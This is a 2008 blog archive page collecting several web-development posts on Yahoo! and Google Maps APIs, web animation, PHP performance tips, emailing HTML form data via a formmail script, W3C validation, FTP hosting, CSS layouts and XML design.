Friday, July 25, 2008

Some of the common map features and its API Tools..

Because many of the features in Yahoo! Maps are offered in the APIs, your users will likely be familiar with what they come across in your applications. Before building your application and implementing the map APIs, it is important to get an overview of the tools that make map applications work. These are many of the fundamentals you will build on in creating your map applications with Yahoo! Maps APIs.

Because many of the features in Yahoo! Maps are offered in the APIs, your users will likely be familiar with what they come across in your applications. Before building your application and implementing the map APIs, it is important to get an overview of the tools that make map applications work. These are many of the fundamentals you will build on in creating your map applications with Yahoo! Maps APIs.

Map and Satellite Imagery
At the core of the map application is the map itself. In most map applications, including Yahoo! Maps, map images are displayed with a combination of tiles. These tiles represent portions of the map cut up into fixed sizes and served to the application. When these tiles are combined, they form the viewable map area. To keep the application running efficiently, only those tiles in view, as well as some additional rows and columns of tiles, are downloaded as a buffer.

The Yahoo! Maps API offers three different view types and, with these, three different sets of image tiles. The default view, map, presents the standard map tiles. These tiles combine two elements. First is the labels layer, displaying street, landmark and area names. Landmark labels include parks, lakes, shopping malls, learning institutions and railroad tracks, to name a few. The second element is a layer of color-coded areas. An array of simple colors is used to indicate with exceptional accuracy the size and location of bodies of water, roads, commercial zones and recreational areas such as ballparks and marinas. Both elements are generated from data and keep the map tiles fairly small in file size.

The satellite view, perhaps the most fascinating element of web-based map applications, represents the layer made up of aerial images. These images, mostly taken from a satellite in space, give us a unique perspective on our world. The ideal satellite image will be taken with no clouds and with as little angle as possible. (In some major cities, like New York or Chicago, angles that cause shadows are inevitable due to the height of some buildings.) Satellite images are larger in file size than map images, as they feature high-resolution photography. Like the maps layer, satellite images are cut up into smaller pieces. This allows the map application to download the tiles progressively as opposed to downloading one big image.

The hybrid view is a combination of both the map and satellite layers. This provides a very effective feature. Street names and labels are displayed on top of satellite images, providing more detailed information and removing some of the obscurity satellite tiles have by themselves. While the satellite tiles in the hybrid view are the same, the map tiles are slightly different. The second element is removed, as described earlier, leaving just the label elements. This creates a transparent effect in the map layer, letting the satellite imagery show through with the street, landmark and area names on top.

In the map application, a set of buttons enables the user to toggle between map-view types. Working with the API, you can set the map-view type as a default parameter, allowing your users to see either the map, hybrid or satellite layers by default. There are several ways to introduce controls that allow toggling between layers as well. In addition to creating your own buttons with calls like getMapViewTypes(), you can also add a satelliteControlWidget that mimics the buttons in the Yahoo! Maps beta.

Zooming
Maps have zoom capability to allow the user to display different magnitudes of the same layer. With the satellite images, photographic layers are compiled at several different distances. The map’s layers are rendered at these respective distances as well. The action of moving between these layers, moving your view of the map closer and farther away, is called zooming. Past HTML- and JavaScript-based map applications included zooming.

However, when zoom levels were changed, the application needed to completely refresh, loading the new layer. Yahoo! Maps APIs allow zooming that does not require the browser to refresh. The Flash APIs also feature a much more dazzling effect. As the user zooms from one distance to the next, the layers actually fade into one another, creating a very attractive transition effect.

There are 16 zoom levels offered in the APIs. Zoom levels are changed by the user clicking on the zoombar, a user interface element that usually features plus and minus buttons. The plus button zooms in and the minus button zooms out. In the Flash APIs, a slide mechanism is placed between the buttons of the zoombar. When the slider is selected and moved up or down, like to the scrollbar on the side of a web browser, the map will respond by zooming in and out accordingly.

The zoom level can be set by default when the API loads. By calling methods like setZoomLevel(), you can programmatically modify the zoom level of the API instance. Methods like setCenterByAddressAndZoom() enable you to move the map to a new destination as well as to prompt a zoom level change. In the Flash APIs, changing zoom levels by calling the API methods will induce the transition effects.

Panning
Akey functionality of web-based map applications is the ability to pan. Commonly referred to as “making the map draggable,” panning is the action of moving the view of the map in any direction. You may be surprised to know that this feature is overall fairly new to map applications. In fact, several map applications still do not have panning abilities. Traditionally, maps without panning require you to click on the direction in which you want to move the map. Once you choose the direction, the application must refresh to collect new tiles. Yahoo! Maps and the API feature a very well implemented ability to pan, and you can do it in several ways.

In film and television, panning is the technique of moving a camera to create a sweeping shot. The effect is called panoramic. Panning applied to maps creates a transition so the map within the API moves without the component container moving around on the screen. In the API, this is achieved by the masking capabilities of Flash. The best way to pan is to click the map with your mouse and drag it around. Effectively, what you are doing is moving the map view layer, with all its tiles. Because the map view layer downloads tiles as it needs them, panning far enough in any direction will likely prompt the application to download and display additional tiles. A buffer exists to be displayed so the application has tiles to show as you pan beyond the initial downloaded layer.

A less discoverable, but very effective, way to pan over the map is with your arrow keys. Using your keyboard, the map will pan in the direction of the arrow key you press. Those users who like to use shortcut keys will find this feature very suitable. Like an airplane’s throttle, each key actually moves the map in the opposite direction. Pressing the up-arrow and right-arrow keys simultaneously will move the map diagonally. When working with the API, you add panning functionality as a tool with addTool(). One of the advantages to using the Flash APIs, as we will explore, is the support of a hand icon instead of a mouse cursor. This adds better discoverability to the panning feature, as users know what areas they can drag.

Geo-coding
A map’s ability to plot an address is called geo-coding. By means of sophisticated backend technology capable of correlating countries, states, cities, ZIP codes, streets and street addresses, an address is turned into latitude and longitude. You may remember latitude and longitude (referred to in maps development as lat/lon) from elementary school. Lat/lon are the axes of a map. Since most developers don’t know lat/lon coordinates by heart, the map APIs offer built-in geo-coding. This means you can pass an address in the API’s initial parameters, then that address will be converted by the server to lat/lon, and the API instance will display and load to that location. You can call a method like setCenterByAddress() to perform a similar function and change the address during runtime. If you do know what your initial lat/lon is, you can set that for when the API loads. By using methods like setCenterByLatLon(), you can change the location the map centers on. A method called getCenter()returns a LatLon object representing the center point of the map. In the event that an address returns an error, the sophisticated API will likely return a SuggestedAddress or an array of them. This can be displayed to your users and help them narrow down address selection.

Markers and Custom Markers
Markers are locations plotted on a map at specific locations, indicated with icons, images and media. They are placed at lat/lon coordinates derived from the server based on an entered lat/lon or address. Acting as indicators, markers can represent several aspects of data being shown on maps.
Yahoo! Maps APIs offer several ways to display markers, using methods like addMarkerByAddress and addMarkerByLatLon. More impressive are the variety of marker types you can add. ACustomPOIMarker (POI meaning point of interest) can be added and features out-of-the-box interactivity when the user rolls over it. When the user engages this type of marker, a dynamic title will be shown. These markers can be defined with custom colors as well.

CustomImageMarkers let you define a marker with a JPEG or SWF file. However, with the Flash API you have an even better option. Using CustomSWFMarker not only lets you define a marker with a custom SWF, but also lets you call methods on that SWF with callCustomMethod. Basically, you can create your own Flash movie and serialize it as your marker.

Read More......

Sunday, July 20, 2008

The working of web animation and technologies used to create them

These days, you can find animated figures all across the Internet! There are a number of technologies that web designers use to create animation, including:

* Animated GIFs
* Dynamic HTML
* Java
* Shockwave and Flash

In this article, we'll give you an introduction to how all of these technologies work, along with their advantages and disadvantages. We'll also take a look at the newest innovations that will further expand Web animation!

Introduction to How Web Animation Works

These days, you can find animated figures all across the Internet! There are a number of technologies that web designers use to create animation, including:

* Animated GIFs
* Dynamic HTML
* Java
* Shockwave and Flash

In this article, we'll give you an introduction to how all of these technologies work, along with their advantages and disadvantages. We'll also take a look at the newest innovations that will further expand Web animation!

Evolution of Web Animation

In its brief history, the Internet has been constantly and rapidly evolving. Part of this evolution has been driven largely by two opposing forces:

* Internet authors and readers always want to be able to transmit more elaborate sorts of content over the Internet.

* To reach most users, the file size for Web content has to be small enough to transmit quickly over standard Internet connections (telephone modems).

These factors have forced Internet innovators to come up with a number of clever tricks for delivering complex content over limited connections.

In the following sections we will look at how each technology and how they handle these competing forces.

Animated GIFs

One of the biggest innovations in the history of the Internet was the ability to integrate photographs and other illustrations with text on a web page. The illustrations come in the form of bitmap files. A bitmap file simply describes the color of each pixel in the image. To decrease the file size of these bitmap images, several different techniques are used to compress the image data. Typically, Web sites post these sorts of images as either JPEG files or GIF files.

Animation is just a series of still images shown in sequence, so the most obvious way to add animation to a Web site is to post a series of bitmap images that the user's browser displays in sequence. This sort of animation, called GIF animation, or GIF89, was the first Web animation to catch on, and it is still very popular today.

The main advantages of GIF animation are that it is incredibly simple to work with and it is automatically recognizable to most Web browsers. With a shareware program, such as GIF construction set for Windows or GifBuilder for Macintosh, all you have to do is provide the individual bitmap images that make up the frames of your animation. You then post the file and code the tag for the image, just as you would with an ordinary static GIF.

The disadvantage is that you have to keep the animation pretty simple to keep the file size down. After all, each frame is a full bitmap image. Four simple frames transmit very easily to most users, but when you get up to something like 20 frames, your file size could be too big. And you can't even accomplish very much with 20 frames -- the fluid animation we see in movies includes at least 24 still images every second -- so animated GIFs are fairly limited. To create a movie of any substantial length, you have to make pretty big jumps between each frame, which means the animation is not very fluid, as you can see in the example below.








This is an excellent way of illustrating a simple concept, or just adding some eye-catching decoration to your site; but Web designers and Web users found it to be wholly inadequate for communicating more complex ideas or adding a real sense of motion to Web sites. Furthermore, you can't add sound to a GIF animation.

Dynamic HTML

As we've seen, the main problem with GIF animation is that each frame of the "movie" adds considerably to the total file size. One way of getting around this problem is to eliminate individual frames entirely. Instead, you simply tell the computer to take one still image and move it across the screen. In a sense, you do this with your computer all the time, when you move the cursor across the screen with your mouse.

Originally, Web pages were, for the most part, static files -- that is, once you loaded them, they pretty much stayed the same. This is inherent in hypertext markup language (HTML), the basic programming language of Web pages. HTML basically consists of simple tags that tell a Web browser where to display Web page elements.

As the Internet continued to evolve, Web designers found this static quality fairly limiting. They wanted to add dynamic content to their Web sites -- that is, content that could change once the user had already downloaded a particular Web page. Dynamic HTML, or dHTML, is the term for the software technology that makes this possible. DHTML content is actually produced by using a number of complex scripting languages, such as Javascript, to access something called the document object model on your Internet browser. Basically, the document object model (DOM) controls everything about how a browser displays a Web page. These days, almost all users have browsers that will expose the DOM to scripting languages, so that this script can alter HTML elements (to change the text color as you move the mouse over a word, for example).

DHTML was not created with animation in mind, but it will let you alter HTML elements in a way that will add movement to a Web page. A dHTML script can simply tell the browser to keep changing the placement of a particular image on the page, so it travels around the screen. If you do this with several different images, you can move a series of graphic elements around each other to make interesting movies.

Like GIF animation, dHTML animation is automatically recognized by most Web browsers, without the user having to download any extra components. However, it is fairly tricky to create dHTML content that works the same way on all browsers, so this sort of animation is not nearly as simple as GIF animation. Actually coding the animation program yourself is quite difficult, but there are user friendly software applications, such as Macromedia's Dreamweaver, that will produce the correct script code for you.

DHTML is fairly limited in its animation applications, because all it can really do is move still images around on the screen. It's much more fluid than GIF animation, but for many applications, it is a much less effective way of displaying a changing image. DHTML is pretty much the limit of a Web browser's built-in animation ability. To add more complex animation abilities to the Internet, innovators had to come up with programs that supplemented the users' browsers.

Java Applets
Another way to provide Web animation is through the universal, network-oriented programming languages known as Java. With Java, programmers can create applications that users download off the Internet. Java-enabled browsers use a virtual machine, a piece of software that recognizes the Java language and translates it for the user's computer system (Windows, MacOS, Unix). The virtual machine is basically a kind of plug-in, and it must be installed with your browser.

Java Web content is generally created as programs called applets. Applets aren't complete software applications -- they work only in conjunction with a browser. There are all sorts of things Web designers do with applets, and one of the most popular applications is animation. The main advantages of Java are that it works on all operating systems and it is very flexible. You can create an animation program that draws simple vector shapes for the individual frames, or one that uses bitmap images. Java is particularly suited for creating interactive animations and combining animation with other Web page elements. For more information about Java, check out How Computer Programs Work.

Read More......

Wednesday, July 9, 2008

Tips for optimizing your php code

# If a method can be static, declare it static. Speed improvement is by a factor of 4.
# echo is faster than print.

# If a method can be static, declare it static. Speed improvement is by a factor of 4.

# echo is faster than print.

# Use echo's multiple parameters instead of string concatenation.

# Set the maxvalue for your for-loops before and not in the loop.

# Unset your variables to free memory, especially large arrays.

# Avoid magic like __get, __set, __autoload

# require_once() is expensive

# Use full paths in includes and requires, less time spent on resolving the OS paths.

# If you need to find out the time when the script started executing,
$_SERVER[’REQUEST_TIME’] is preferred to time()

# See if you can use strncasecmp, strpbrk and stripos instead of regex

# str_replace is faster than preg_replace, but strtr is faster than str_replace by a
factor of 4

# If the function, such as string replacement function, accepts both arrays and
single characters as arguments, and if your argument list is not too long, consider
writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.

# It's better to use switch statements than multi if, else if, statements.

# Error suppression with @ is very slow.

# Turn on apache's mod_deflate

# Close your database connections when you're done with them

# $row[’id’] is 7 times faster than $row[id]

# Error messages are expensive

# Do not use functions inside of for loop, such as for ($x=0; $x < count($array);
$x) The count() function gets called each time.

# Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.

# Incrementing a global variable is 2 times slow than a local var.

# Incrementing an object property (eg. $this->prop++) is 3 times slower than a local
variable.

# Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.

# Just declaring a global variable without using it in a function also slows things down (by about the same amount as incrementing a local var). PHP probably does a check to see if the global exists.

# Method invocation appears to be independent of the number of methods defined in the class because I added 10 more methods to the test class (before and after the test method) with no change in performance.

# Methods in derived classes run faster than ones defined in the base class.

# A function call with one parameter and an empty function body takes about the same
time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.

# Surrounding your string by ' instead of " will make things interpret a little faster since php looks for variables inside "..." but not inside '...'. Of course you can only do this when you don't need to have variables in the string.

# When echoing strings it's faster to separate them by comma instead of dot. Note: This only works with echo, which is a function that can take several strings as arguments.

# A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts.

# Your PHP scripts are recompiled every time unless the scripts are cached. Install
a PHP caching product to typically increase performance by 25-100% by removing compile times.

# Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request

# When working with strings and you need to check that the string is either of a certain length you'd understandably would want to use the strlen() function. This function is pretty quick since it's operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase & hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using an isset() trick.

Ex.

if (strlen($foo) < 5) { echo "Foo is too short"; }

vs.

if (!isset($foo{5})) { echo "Foo is too short"; }

Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it's execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string's length.

# When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages, so don't go modifying your C or Java code thinking it'll suddenly become faster, it won't. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend's PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.

# Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory.

# Do not implement every data structure as a class, arrays are useful, too

# Don't split methods too much, think, which code you will really re-use

# You can always split the code of a method later, when needed

# Make use of the countless predefined functions

# If you have very time consuming functions in your code, consider writing them as C extensions

# Profile your code. A profiler shows you, which parts of your code consumes how many time. The Xdebug debugger already contains a profiler. Profiling shows you the bottlenecks in overview

# mod_gzip which is available as an Apache module compresses your data on the fly and can reduce the data to transfer up to 80%

Read More......

Tuesday, July 8, 2008

Sending a HTML form values to email inbox

Getting the html form data in the email inbox will be a very convenient way to collect user responses very quickly. Except, when you have hundreds of responses per day! Here are the methods you have to get the html form data in your email inbox.

One quick and simple method is to use the 'mailto:you@yourdomain.com' in the 'action' field of the form. This method is very simple; but has many drawbacks.

Getting the html form data in the email inbox will be a very convenient way to collect user responses very quickly. Except, when you have hundreds of responses per day! Here are the methods you have to get the html form data in your email inbox.

One quick and simple method is to use the 'mailto:you@yourdomain.com' in the 'action' field of the form. This method is very simple; but has many drawbacks.

Using a Formmail Script

A formmail script is a server side script that gathers the data submitted in the form and mails it to a given email address.

There are many formmail scripts available.

The following section describes how to use a form mail script
Suppose the URL to the formmail script provided to you is http//someserver/cgi-bin/formmail.pl

give this URL in the ACTION attribute of your FORM tag
<FORM ACTION="http//someserver/cgi-bin/formmail.pl" METHOD="POST">
.....Your input elements.....
</FORM>

# Now you can give whatever input elements you want within the form tags.

# There are some information that you should provide to the CGI program (like the email address to which the form-data should be sent)
provide these data as hidden fields in the form
(using <INPUT TYPE="hidden" ......>)

# Insert the Submit button.

Over! you are ready with your form.

Example:
The geocities.com form-mail program URL is
http://us.geocities.yahoo.com/forms

Let us complete the form we were using in our examples using this
form-mail script as the form handler.

There are some parameters required by this CGI program
Name Description
login your yahoo login id
subject subject line of the mail sent to you by the formmail program
next_url the URL of the page to be displayed after submitting this page successfully

We will have to give these parameters as hidden fields.

<FORM ACTION="http://us.geocities.yahoo.com/forms" METHOD="POST">

Name: <INPUT TYPE="text" NAME="Name" VALUE="" SIZE="25" MAXLENGTH="50"> <BR>

Email: <INPUT TYPE="text" NAME="Email" VALUE="" SIZE="25" MAXLENGTH="50"><BR>

<INPUT TYPE="CHECKBOX" NAME="subscribe" CHECKED> Subscribe me to the News letter <BR>

Format of the Email:<BR>
<INPUT TYPE="radio" NAME="format" VALUE="html" CHECKED> HTML<BR>
<INPUT TYPE="radio" NAME="format" VALUE="text"> Plain Text<BR>

Type of subscription you want:<BR>
<SELECT NAME="type">
<OPTION VALUE="standard"> Standard - FREE
<OPTION VALUE="prof" > Professional - Paid
</SELECT> <BR>

Comments to the editor:<BR>
<TEXTAREA NAME="comments" ROWS="7" COLS="30"></TEXTAREA>

<input type="hidden" name="login" value="your_yahoo_id_please">

<input type="hidden" name="subject" value="Posted From My Form">

<input type="hidden" name="next_url" value="http://myserver/thankyou.htm">

<BR>
<INPUT TYPE="SUBMIT" NAME="submit" VALUE="Sign Me Up!">
</FORM>

When this form is submitted, the form-mail script sends the information submitted, to the email address corresponding to the id given in the hidden field 'login'. The mail will contain the field names and corresponding values as submitted by the user like this:
Name: yourVisitorName
Email: thename@server.com
subscribe:on
format:text
type:standard
comments: your site rocks!

Read More......

Sunday, July 6, 2008

Google Maps-A brief introduction to developing

A number of new geospatial viewing tools from major players in the Internet industry have recently appeared on the scene and are taking the geospatial world by storm. Google, Yahoo, Microsoft and Amazon have all released Web-based mapping tools in the past year, and collectively these new players to the industry have raised the bar for Internet mapping. Although their functional capabilities don’t provide anything we haven’t seen in Web offerings from traditional GIS vendors, their emergence has been significant in that they have managed to capture a wider audience.

A number of new geospatial viewing tools from major players in the Internet industry have recently appeared on the scene and are taking the geospatial world by storm. Google, Yahoo, Microsoft and Amazon have all released Web-based mapping tools in the past year, and collectively these new players to the industry have raised the bar for Internet mapping. Although their functional capabilities don’t provide anything we haven’t seen in Web offerings from traditional GIS vendors, their emergence has been significant in that they have managed to capture a wider audience.

Google, in particular, has emerged as the leader of this pack with its recently released Google Maps product. It provides a slick, highly responsive visual interface built using AJAX technologies along with detailed street and aerial imagery data, and an open API allowing customization of the map output including the ability to add application-specific data to the map. To make it even better, Google currently provides access to this service for FREE! In this article we’ll examine some of the basic capabilities provided through the Google Maps product.

What is Google Maps?
Google Maps provides a highly responsive, intuitive mapping interface with embedded, detailed street and aerial imagery data. In addition, map controls can be embedded in the product to give users full control over map navigation and the display of street and imagery data. Users can also perform map panning through the use of the “arrow” keys on a keyboard, as well as by dragging the map via the mouse. All of these capabilities combine to provide a compelling product, but the primary driver behind its rapid acceptance as an Internet mapping viewer is its ability to customize the map to fit application-specific needs. For instance, a real estate agency might develop a Web-based application that allows end user searching for residential properties to display the results on a Google Maps application. To get a good idea of the diversity of applications that are possible through Google Maps, spend some time at Mike Pegg’s Google Maps Blog.

Google Maps Fundamentals
At this time, the Google Maps API is a free beta service. However, Google reserves the right to put advertising on the map at any point in the future, so keep this in mind as you begin to develop Google Maps applications. Your applications may also need frequent code changes since this product is still in beta and subject to changes in the API.

Before you can get started developing Google Maps applications you will need to sign up for an API key. When you sign up for an API key, you must specify a Web site URL that will be used in your development. One problem frequently associated with Google Maps is that you must acquire a unique key for each directory that will serve Google Maps. Google Maps will generate a unique keycode for the directory that you specify. You must use this keycode in each script that accesses the Google Maps API.

Google also provides documentation for its product, including full documentation of the classes, methods and events available for the Google Maps objects as well as code examples to get you started. In addition, Google provides a blog and discussion group for additional information on using the API.

A Basic Google Map
When you sign up with Google Maps, an API key will be generated. Make sure you save this key as you will need it for all Google Maps applications that you develop for the particular URL directory that was specified. In addition to the API key, Google will also generate an example Web page centered on the Palo Alto area (in the vicinity of the Google headquarters). You can copy and paste the HTML and JavaScript generated into a plain text file, save it to the Web server directory you specified when you generated the key, and then display the map in your Web browser.

Beyond the Basics
The Google Maps API comes with a number of classes that allow you to create maps, add points of interest and polylines to a map, specify various map controls, display info windows, read XML files, and more. In the figure below you’ll see examples of some of the more commonly used objects in the Google Maps API.


Figure 1. (Click for larger image)

GMap
The GMap class enables you to create map instances. You can create as many map instances as necessary for your application, although most commonly this will only be a single instance. Maps are typically embedded within an HTML container called a
tag. Once you’ve generated an instance of GMap you can use the various methods and properties available on this object to manipulate other aspects of the map such as the controls included, the display of points of interest or polygons, and many other things. Everything in Google Maps flows through an instance of the GMap class.


Figure 2. (Click for larger image)

GMap can also respond to a whole host of events. Events are simply an external stimulus to the map triggered by the user. Typical events might include the user dragging the map or clicking the map, an overlay marker being added to the map, or the map type changing from regular to aerial. You can write code that responds to any of these and other events. For instance, you might want to add a marker at the point where the user clicks the map, or perhaps you could display the latitude, longitude coordinates of the center of the map after a pan event has occurred.

Map Controls

Google Map Controls allow the end user to zoom in or out, pan and change the map type between Map, Aerial and Hybrid. Each of these controls can be programmatically added to your map through the addControl method on GMap. For instance, the following code example would be used to add the small map control to a map as you see in the figure below.

map.addControl(new GSmallMapControl());



Figure 3. (Click for larger image)

In addition, you can add an instance of the map type control to your map through the following code example:

map.addControl(new GMapTypeControl());

The map type control can be programmatically added to your map alongside a navigation control. For instance, the following code example could be used to generate a map like this. In this example we’ve added an instance of LargeMapControl and MapTypeControl to the map.

map.addControl(new GLargeMapControl());
map.addControl(new GMapTypeControl());

Opening Info Windows
Info Windows can be used to display information about a particular point of interest and are typically opened just above a marker, but could potentially be placed anywhere on a map. Info Windows are opened via the openInfoWindow() method on an instance of GMap. Normally, Info Windows are used to hold HTML information such as text, links and images.



Figure 4.

Map Overlays
A map overlay refers to a point or polyline that is added on top of the Google Map. Points (GPoint) are the most common type of overlay and are referred to as markers (GMarker). Polylines (GPolyline), composed of two or more points joined together by a vector line, can also be added to a map.

GPoint (-96.4523, 30.5356)

GMarker _
GPoint and GMarker are used in conjunction to create point markers that can be plotted on a Google Map. An instance of GPoint represents a single, two-dimensional coordinate, whereas GMarker is a type of map overlay that shows an icon at an instance of GPoint.

GPolyline_

GPolyline uses two or more instances of GPoint to create a vector line between the two points. The vector lines generated by GPolyline can be created in various colors, weights, and transparency.

Google Maps Polygons?
At this time, Google Maps does not provide the ability to generate true polygons, but I suspect that this will change in the near future as the API becomes more robust. However, a third-party developer, XMaps, provides this functionality in its XMaps Library, which is a Google Maps API Extension. This library is in pre-release and can be downloaded from their site.

Reading XML Files
Google Maps also includes the ability to download, open and read XML files through the inclusion of the GXmlHttp class that creates a cross-browser XmlHttpRequest instance. The importance of this ability frequently comes into play when it becomes necessary to read in multiple points of interest. You could store your points of interest along with the coordinates that locate those points in an XML file or auto-generate an XML file from the database where your points of interest are stored.

Read More......

Saturday, July 5, 2008

The Reality of W3C Validation

People seem to worry about the W3C standards and making their website confirm to these standards far too much. Many people hear the buzz words surrounding this term and worry if their website needs to confirm to this, this is understandable as people want their website to be the best they can. So what is the reality of confirming to the W3C standards?

SEO and the W3C

Some website Design Company's claim that not confirming to these standards have a negative effect on your SEO. Well I have seen little or no evidence of this. Google itself does not pass the W3C validator
People seem to worry about the W3C standards and making their website confirm to these standards far too much. Many people hear the buzz words surrounding this term and worry if their website needs to confirm to this, this is understandable as people want their website to be the best they can. So what is the reality of confirming to the W3C standards?

SEO and the W3C

Some website Design Company's claim that not confirming to these standards have a negative effect on your SEO. Well I have seen little or no evidence of this. Google itself does not pass the W3C validator. I will admit Google may take it into consideration if it passes validation or not, however, it is a very small part of the equation. The main focus on SEO should be getting quality one-way links to your website.

You and the W3C Validation

The reason websites fail the validation process is that there are many different programs and script's running on webpage's these days, made by different vendors and a lot of them don't conform to these standards. Also a client may want special features included in there website that won't conform, so web designers have to do what the client wants.

Browsers play a big part in this as well, as each browser displays the code of a website slightly differently and to get sites to work cross all browsers some work a-rounds have to be implemented. These work a-rounds can cause your website to fail.

I think too people worry about the w3c validator and don't focus on the main aims of their website. Your website won't drop out of Google because you website fails, and if it does pass, that doesn't mean that it will generate more revenue for your site.

If you looking for a website design and SEO company that can help with these issues I would recommend this company. You will also find more information on w3c validation here.

Although I do think it would be great if all websites confirmed to web standards, however I think we are a while away yet before we see this being the case. We will need to get all companies to work together to ensure this happens, but I'm not optimistic that this will happen. In the mean time why don't we all concentrate on making good quality websites that are accessible to all.

Read More......

How To Set Up An FTP Site In 6 Easy Steps!

An FTP site is an online file storage location that enables users to upload files onto a secure server and share them over the internet.
FTP or File Transfer Protocol is the single most widely used file transfer and sharing program worldwide. An FTP site is simply an online storage location where users can quickly and securely upload, download, store, and share any type and size files they like.

An FTP site is an online file storage location that enables users to upload files onto a secure server and share them over the internet.
FTP or File Transfer Protocol is the single most widely used file transfer and sharing program worldwide. An FTP site is simply an online storage location where users can quickly and securely upload, download, store, and share any type and size files they like.

The files can be software, movies, drawings, designs, pictures, etc. In addition, the account holder has the ability to create folders, add users, and control all access privileges to the site and its contents.

Why have an FTP site?
Beyond being so widely used and accepted, FTP is extremely secure. Some FTP hosting sites provide HIPAA level security, which means information as personal and confidential as patient medical files are safe and secure.
In addition, users can upload an unlimited amount of files regardless of their size. This is particularly helpful if an individual or business owner needs to share large files with others. It also provides a secure location to store files, freeing up valuable memory space on your computer and your customers'. So how do you set up an FTP site?

6 Easy Steps to Set Up your FTP Site:

Step One. Find an FTP hosting service that meets your needs. This is important because not all FTP online file sharing services are created equal. When comparing options be sure to look for:

# File size limits. Look for a site that offers an option that meets your needs. For example a large business may need 11GB of storage and you only need 2GB, you certainly don't want to have to pay for the 11GB the larger company needs. Make sure your service offers an option that meets your needs.


# Price. Like file size limits, look for a pricing system that meets your budget needs. As your needs grow, you can increase your online storage limits.

# Compatibility with FTP software if you're going to be using external software. Many FTP sites require FTP software compatibility. This is fine if you're both comfortable using the software and your service is compatible with it. However, some offer free web based software so all you have to do is logon and start sharing files. No software installs are required.


# Security. Look for an FTP hosting site that gives you the security you need. If you're exchanging confidential information, proprietary information, or are working on behalf of a client who needs confidentiality, then security is extremely important. Not all hosting sites are created equal. Look for one that takes security seriously.


# Customer service. When you're dealing with any business, customer service is important. However it is particularly important when you're storing and sharing information. You need customer service that is responsive and available.


Step Two. Create an account. Designate administrative users and users who have access to specific folders. Create passwords and logon information for users. Access can be expanded later so it is fine to limit access in the beginning. Be sure to make note of passwords and user account information so you can keep track of who has access to what. The better services out there will provide you with a list of your users and folders so you can visually see who has access to which folder.

Step Three. Create folders. Remember to name them appropriately so you will be able to quickly and easily recognize your respective clients folders. Directories and sub-directories can be created to make online storage organized and efficient.

Step Four. Add your users and assign them to their specific folder. For example, if you're working with a business partner on a new business, a folder can be created with the business name. In the folder you could store marketing strategies, contracts and agreements, research, business plans and even profit and loss projections. The folder can be assigned and secured so that it can be accessed only by yourself and your business partner. As the systems administrator you will have full access to all the folders you create. The users you create will only be able to access the folder you assign to them.

Step Five. Upload & Download files. Uploading & downloading files can be handled a number of ways. The easiest, if it is available, is to simply use the free web based software provided by the FTP service provider. This process is as simple as clicking a button that says "Upload my files" and clicking on the appropriate file. If however you'd prefer to use an FTP client software program like CuteFTP, Filezilla, FTP Voyager, Smart FTP, Ipswitch, or Fetch, then you'll need to follow the instructions of the specific software. Most FTP client software is easy to use and function the same basic way. The other option is to download files with your web browser. There are limitations on file size but this is also a fairly straight forward cut and paste option.
Step Six. Log off. Yep, that's it. Setting up an FTP hosting site is really easy when you have the right provider. With some providers, customization is an option too. Users can customize their site so their business logo and company name appear when users log onto the account.

FTP hosting is one of the simplest, easiest, and most cost effective means of sharing large files in a secure and easily accessible manner.

Read More......

Using CSS Instead of Tables

The following article will show you why to stay away from tables when designing a site.

Most web developers and designers will tell you to stay away from tables when developing web sites, of course there are some exceptions, like forms, and data. Instead they will tell you to use CSS. When designing your web site you should use CSS, along with the HTML tag. Now, you may be asking, why? The reasons are below!

The following article will show you why to stay away from tables when designing a site.

Most web developers and designers will tell you to stay away from tables when developing web sites, of course there are some exceptions, like forms, and data. Instead they will tell you to use CSS. When designing your web site you should use CSS, along with the HTML tag. Now, you may be asking, why? The reasons are below!

1. Tabular Data. Not layouts.

Tables are for Tabular Data. They simply are not for designing a page. Here is a good page at about.com that explains Tabular Data.

2. Nested Tables

Nested tables is a common way to make layouts with tables. With nested tables, one, or more, tables are placed inside each other. There is a problem when designing a page this way, it takes the browser longer to render your page. With CSS there is way less code, and your code is cleaner, therefor it is easier on the browser.

3. Changing fonts, colors, and layouts.

Lets say you had a site with 100 pages, with tables, and you wanted to change the header of every page to blue instead of red. With CSS you could go into the CSS file, included on every one of those 100 pages, and change the font-color to blue. It would then update all of your pages with the color blue. With tables you would have to open every one of those pages and change the color.

4. Invalid XHTML

When using tables for your web page layout, you are writing invalid XHTML. You should only use tables when you are working with Tabular Data, as I stated above.

5. Smaller HTML files

No one wants a huge HTML file, full of messy code, right? Well, this is just another reason to use CSS. Since you can call your CSS style sheet from external file, it doesn't even need to be in your HTML file to work, making it even smaller.

Read More......

Friday, July 4, 2008

Common XML design mistakes and how to avoid them(Few tips for smart architecture with XML)

XML suffers from an all-too-common problem with new technologies: It cant be called "buzzworditis." Like the C++ language and client-server architecture before that, XML has visibility at the executive level -- the nontechnical executive level. Which leads to corporate memos insisting that "entire systems" need to be somehow "converted" to XML for the good of the company. However, like C++ and client-server architecture, XML isn't an answer in and of itself; it's simply a tool you can use to help build your technical solution. By understanding the strengths and weaknesses of XML compared to other possible architectural choices, you can minimize or prevent major headaches later in the development (or maintenance) cycle. This column recommends following four general design guidelines for the judicious use of XML in the data architecture of your systems.
